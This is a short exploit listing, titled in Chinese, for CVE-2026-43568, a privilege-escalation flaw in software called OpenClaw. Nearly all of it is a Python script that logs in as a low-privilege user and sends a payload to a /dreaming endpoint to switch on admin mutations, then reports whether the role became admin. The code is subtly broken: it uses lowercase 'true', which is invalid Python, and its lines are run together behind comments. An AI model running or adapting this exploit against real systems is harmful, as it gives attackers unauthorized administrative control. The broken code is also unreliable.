CVE-2026-43568 OpenClaw权限提升漏洞

import requests # Exploit Title: OpenClaw Privilege Escalation via /dreaming (CVE-2026-43568) # Description: Exploit script to escalate privileges by toggling admin settings. target = "http://vulnerable-host:8080" login_url = f"{target}/api/login" dreaming_url = f"{target}/api/dreaming" # 1. Authenticate as a low-privilege user with write-scoped access creds = {"username": "user", "password": "password"} session = requests.Session() session.post(login_url, json=creds) # 2. Send payload to /dreaming endpoint to enable admin mutations payload = { "persistent_memory": { "dreaming_mode": "active", "allow_admin_class_mutations": true # Malicious toggle } } response = session.put(dreaming_url, json=payload) if response.status_code == 200 and "admin" in response.json().get("role", ""): print("[+] Exploit successful! Privileges escalated.") else: print("[-] Exploit failed.")